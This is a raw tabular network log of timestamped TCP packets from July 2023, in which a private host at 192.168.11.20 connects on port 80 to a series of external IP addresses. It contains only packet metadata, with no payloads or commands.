Jul 18, 2023 09:48:01.759974957 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.760143995 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.760143995 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.869729996 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.869805098 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.869862080 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.870006084 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.870114088 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.870115042 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.870160103 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.870232105 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.870284081 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.870286942 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.870342970 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.870395899 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.870449066 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.870449066 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.870450020 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.870501995 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.870554924 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.870619059 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.870641947 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.870704889 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.870738029 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.870738029 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.870738029 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.870759964 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.870814085 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.870867014 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.870907068 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.870918989 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.870975018 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.871057987 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.871082067 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.871082067 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.871082067 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.871082067 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.871082067 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.871262074 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.871262074 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.871414900 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.980741978 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.980757952 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.980846882 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.980860949 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.980885029 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.980896950 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.980909109 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.980921984 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.980943918 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.980956078 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.980967999 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.980992079 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.981004953 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.981017113 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.981036901 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.981050014 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.981060982 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.981070995 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.981070995 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.981070995 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.981070995 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.981072903 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.981095076 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.981106997 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.981118917 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.981137991 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.981149912 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.981162071 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.981173038 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.981194973 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.981206894 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.981219053 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.981231928 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.981241941 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.981241941 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.981241941 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.981241941 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.981241941 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.981241941 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.981241941 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.981241941 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.981251001 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.981261015 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.981265068 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.981276989 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.981295109 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.981307030 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.981318951 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.981331110 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.981412888 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.981412888 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.981412888 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.981439114 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.981456041 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.981478930 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.981497049 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:01.981579065 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.981579065 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.981749058 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.981749058 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.981749058 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:01.981749058 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:02.091295004 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.091447115 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.091531038 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:02.091550112 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.091605902 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.091670036 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.091774940 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.091795921 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:02.091797113 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:02.091849089 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.091913939 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:02.091914892 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:02.091938019 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.092011929 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.092092991 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:02.092160940 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.092199087 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.092235088 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.092269897 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.092303991 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.092307091 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:02.092307091 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:02.092307091 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:02.092339039 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.092372894 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.092407942 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.092442036 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.092478037 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.092480898 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:02.092480898 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:02.092480898 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:02.092480898 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:02.092513084 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.092547894 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.092581987 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.092616081 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.092636108 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:02.092650890 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.092685938 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.092720032 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.092762947 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.092816114 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:02.092818975 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.092817068 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:02.092817068 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:02.092817068 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:02.092856884 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.092891932 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.092926979 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.092962027 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.092988014 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:02.092988014 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:02.092997074 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.093031883 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.093066931 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.093102932 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.093138933 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.093154907 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:02.093154907 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:02.093154907 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:02.093154907 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:02.093154907 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:02.093194008 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.093231916 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.093266010 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.093300104 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.093328953 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:02.093334913 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.093369961 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.093404055 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.093437910 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.093499899 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:02.093499899 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:02.093499899 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:02.093501091 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:02.093501091 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:02.093501091 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:02.093525887 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.093528986 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.093565941 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.093600988 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.093635082 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.093667984 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:02.093669891 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.093707085 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.093741894 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.093776941 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.093811035 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.093843937 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:02.093846083 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.093843937 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:02.093843937 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:02.093843937 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:02.093843937 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:02.093844891 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:02.093882084 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.093915939 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.093950987 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.093985081 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.094002008 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:02.094002008 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:02.094002008 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:02.094043970 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.094096899 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.094141960 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.094166040 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:02.094166040 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:02.094177961 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.094213009 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.094250917 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.094300032 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.094321012 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:02.094336987 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.094391108 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.094428062 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.094463110 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.094491005 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:02.094497919 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.094532967 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.094568014 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.094603062 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.094636917 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.094671965 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.094710112 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:02.094831944 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:02.095010042 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:06.773251057 CEST	80	50106	192.3.26.168	192.168.11.20
Jul 18, 2023 09:48:06.773438931 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:48:19.077266932 CEST	50106	80	192.168.11.20	192.3.26.168
Jul 18, 2023 09:49:07.349879980 CEST	50107	80	192.168.11.20	34.102.136.180
Jul 18, 2023 09:49:07.365324020 CEST	80	50107	34.102.136.180	192.168.11.20
Jul 18, 2023 09:49:07.365634918 CEST	50107	80	192.168.11.20	34.102.136.180
Jul 18, 2023 09:49:07.365667105 CEST	50107	80	192.168.11.20	34.102.136.180
Jul 18, 2023 09:49:07.381388903 CEST	80	50107	34.102.136.180	192.168.11.20
Jul 18, 2023 09:49:07.771420002 CEST	80	50107	34.102.136.180	192.168.11.20
Jul 18, 2023 09:49:07.771487951 CEST	80	50107	34.102.136.180	192.168.11.20
Jul 18, 2023 09:49:07.771881104 CEST	50107	80	192.168.11.20	34.102.136.180
Jul 18, 2023 09:49:07.771881104 CEST	50107	80	192.168.11.20	34.102.136.180
Jul 18, 2023 09:49:07.787714958 CEST	80	50107	34.102.136.180	192.168.11.20
Jul 18, 2023 09:49:28.314213991 CEST	50108	80	192.168.11.20	104.17.157.1
Jul 18, 2023 09:49:28.323096991 CEST	80	50108	104.17.157.1	192.168.11.20
Jul 18, 2023 09:49:28.323296070 CEST	50108	80	192.168.11.20	104.17.157.1
Jul 18, 2023 09:49:28.323362112 CEST	50108	80	192.168.11.20	104.17.157.1
Jul 18, 2023 09:49:28.332117081 CEST	80	50108	104.17.157.1	192.168.11.20
Jul 18, 2023 09:49:28.335659027 CEST	80	50108	104.17.157.1	192.168.11.20
Jul 18, 2023 09:49:28.336007118 CEST	50108	80	192.168.11.20	104.17.157.1
Jul 18, 2023 09:49:28.336344004 CEST	80	50108	104.17.157.1	192.168.11.20
Jul 18, 2023 09:49:28.336569071 CEST	50108	80	192.168.11.20	104.17.157.1
Jul 18, 2023 09:49:28.344651937 CEST	80	50108	104.17.157.1	192.168.11.20
Jul 18, 2023 09:50:08.810094118 CEST	50109	80	192.168.11.20	185.238.87.6
Jul 18, 2023 09:50:08.849875927 CEST	80	50109	185.238.87.6	192.168.11.20
Jul 18, 2023 09:50:08.850167990 CEST	50109	80	192.168.11.20	185.238.87.6
Jul 18, 2023 09:50:08.850217104 CEST	50109	80	192.168.11.20	185.238.87.6
Jul 18, 2023 09:50:08.889511108 CEST	80	50109	185.238.87.6	192.168.11.20
Jul 18, 2023 09:50:08.889589071 CEST	80	50109	185.238.87.6	192.168.11.20
Jul 18, 2023 09:50:08.889647007 CEST	80	50109	185.238.87.6	192.168.11.20
Jul 18, 2023 09:50:08.889986038 CEST	50109	80	192.168.11.20	185.238.87.6
Jul 18, 2023 09:50:08.889986038 CEST	50109	80	192.168.11.20	185.238.87.6
Jul 18, 2023 09:50:08.929018021 CEST	80	50109	185.238.87.6	192.168.11.20
Jul 18, 2023 09:50:29.985524893 CEST	50110	80	192.168.11.20	107.148.29.94
Jul 18, 2023 09:50:30.147442102 CEST	80	50110	107.148.29.94	192.168.11.20
Jul 18, 2023 09:50:30.147686005 CEST	50110	80	192.168.11.20	107.148.29.94
Jul 18, 2023 09:50:30.147768974 CEST	50110	80	192.168.11.20	107.148.29.94
Jul 18, 2023 09:50:30.309509993 CEST	80	50110	107.148.29.94	192.168.11.20
Jul 18, 2023 09:50:30.310607910 CEST	80	50110	107.148.29.94	192.168.11.20
Jul 18, 2023 09:50:30.310678959 CEST	80	50110	107.148.29.94	192.168.11.20
Jul 18, 2023 09:50:30.311104059 CEST	50110	80	192.168.11.20	107.148.29.94
Jul 18, 2023 09:50:30.311104059 CEST	50110	80	192.168.11.20	107.148.29.94
Jul 18, 2023 09:50:30.473104000 CEST	80	50110	107.148.29.94	192.168.11.20
Jul 18, 2023 09:50:50.926893950 CEST	50111	80	192.168.11.20	150.95.255.38
Jul 18, 2023 09:50:51.189182043 CEST	80	50111	150.95.255.38	192.168.11.20
Jul 18, 2023 09:50:51.189497948 CEST	50111	80	192.168.11.20	150.95.255.38
Jul 18, 2023 09:50:51.189558029 CEST	50111	80	192.168.11.20	150.95.255.38
Jul 18, 2023 09:50:51.451913118 CEST	80	50111	150.95.255.38	192.168.11.20
Jul 18, 2023 09:50:51.452109098 CEST	80	50111	150.95.255.38	192.168.11.20
Jul 18, 2023 09:50:51.452167034 CEST	80	50111	150.95.255.38	192.168.11.20
Jul 18, 2023 09:50:51.452564001 CEST	50111	80	192.168.11.20	150.95.255.38
Jul 18, 2023 09:50:51.715071917 CEST	80	50111	150.95.255.38	192.168.11.20
Jul 18, 2023 09:51:10.319973946 CEST	50113	80	192.168.11.20	150.95.255.38
Jul 18, 2023 09:51:10.600186110 CEST	80	50113	150.95.255.38	192.168.11.20
Jul 18, 2023 09:51:10.600509882 CEST	50113	80	192.168.11.20	150.95.255.38
Jul 18, 2023 09:51:10.600639105 CEST	50113	80	192.168.11.20	150.95.255.38
Jul 18, 2023 09:51:10.880794048 CEST	80	50113	150.95.255.38	192.168.11.20
Jul 18, 2023 09:51:10.880863905 CEST	80	50113	150.95.255.38	192.168.11.20
Jul 18, 2023 09:51:10.880916119 CEST	80	50113	150.95.255.38	192.168.11.20
Jul 18, 2023 09:51:10.881412983 CEST	50113	80	192.168.11.20	150.95.255.38
Jul 18, 2023 09:51:10.881412983 CEST	50113	80	192.168.11.20	150.95.255.38
Jul 18, 2023 09:51:11.161768913 CEST	80	50113	150.95.255.38	192.168.11.20
Jul 18, 2023 09:51:31.057310104 CEST	50114	80	192.168.11.20	23.227.38.74
Jul 18, 2023 09:51:31.066040039 CEST	80	50114	23.227.38.74	192.168.11.20
Jul 18, 2023 09:51:31.066304922 CEST	50114	80	192.168.11.20	23.227.38.74
Jul 18, 2023 09:51:31.066368103 CEST	50114	80	192.168.11.20	23.227.38.74
Jul 18, 2023 09:51:31.075037003 CEST	80	50114	23.227.38.74	192.168.11.20
Jul 18, 2023 09:51:31.088898897 CEST	80	50114	23.227.38.74	192.168.11.20
Jul 18, 2023 09:51:31.088972092 CEST	80	50114	23.227.38.74	192.168.11.20
Jul 18, 2023 09:51:31.089030981 CEST	80	50114	23.227.38.74	192.168.11.20
Jul 18, 2023 09:51:31.089085102 CEST	80	50114	23.227.38.74	192.168.11.20
Jul 18, 2023 09:51:31.089134932 CEST	80	50114	23.227.38.74	192.168.11.20
Jul 18, 2023 09:51:31.089174986 CEST	80	50114	23.227.38.74	192.168.11.20
Jul 18, 2023 09:51:31.089216948 CEST	80	50114	23.227.38.74	192.168.11.20
Jul 18, 2023 09:51:31.089282990 CEST	50114	80	192.168.11.20	23.227.38.74
Jul 18, 2023 09:51:31.089282990 CEST	50114	80	192.168.11.20	23.227.38.74
Jul 18, 2023 09:51:31.089634895 CEST	50114	80	192.168.11.20	23.227.38.74
Jul 18, 2023 09:51:31.089634895 CEST	50114	80	192.168.11.20	23.227.38.74
Jul 18, 2023 09:51:51.304387093 CEST	50115	80	192.168.11.20	156.67.72.35
Jul 18, 2023 09:51:51.453624010 CEST	80	50115	156.67.72.35	192.168.11.20
Jul 18, 2023 09:51:51.454025984 CEST	50115	80	192.168.11.20	156.67.72.35
Jul 18, 2023 09:51:51.454026937 CEST	50115	80	192.168.11.20	156.67.72.35
Jul 18, 2023 09:51:51.603291988 CEST	80	50115	156.67.72.35	192.168.11.20
Jul 18, 2023 09:51:51.603384018 CEST	80	50115	156.67.72.35	192.168.11.20
Jul 18, 2023 09:51:51.603743076 CEST	80	50115	156.67.72.35	192.168.11.20
Jul 18, 2023 09:51:51.604048967 CEST	50115	80	192.168.11.20	156.67.72.35
Jul 18, 2023 09:51:51.604049921 CEST	50115	80	192.168.11.20	156.67.72.35
Jul 18, 2023 09:51:51.753556967 CEST	80	50115	156.67.72.35	192.168.11.20
Jul 18, 2023 09:52:33.294254065 CEST	50116	80	192.168.11.20	118.27.130.228
Jul 18, 2023 09:52:33.489350080 CEST	80	50116	118.27.130.228	192.168.11.20
Jul 18, 2023 09:52:33.490225077 CEST	50116	80	192.168.11.20	118.27.130.228
Jul 18, 2023 09:52:33.491945028 CEST	50116	80	192.168.11.20	118.27.130.228
Jul 18, 2023 09:52:33.686664104 CEST	80	50116	118.27.130.228	192.168.11.20
Jul 18, 2023 09:52:33.688189983 CEST	80	50116	118.27.130.228	192.168.11.20
Jul 18, 2023 09:52:33.688283920 CEST	80	50116	118.27.130.228	192.168.11.20
Jul 18, 2023 09:52:33.688606977 CEST	50116	80	192.168.11.20	118.27.130.228
Jul 18, 2023 09:52:33.688606977 CEST	50116	80	192.168.11.20	118.27.130.228
Jul 18, 2023 09:52:33.883517981 CEST	80	50116	118.27.130.228	192.168.11.20
Jul 18, 2023 09:52:54.225095034 CEST	50117	80	192.168.11.20	104.208.72.135
Jul 18, 2023 09:52:54.412522078 CEST	80	50117	104.208.72.135	192.168.11.20
Jul 18, 2023 09:52:54.412966967 CEST	50117	80	192.168.11.20	104.208.72.135
Jul 18, 2023 09:52:54.412966967 CEST	50117	80	192.168.11.20	104.208.72.135
Jul 18, 2023 09:52:54.600097895 CEST	80	50117	104.208.72.135	192.168.11.20
Jul 18, 2023 09:52:54.600980997 CEST	80	50117	104.208.72.135	192.168.11.20
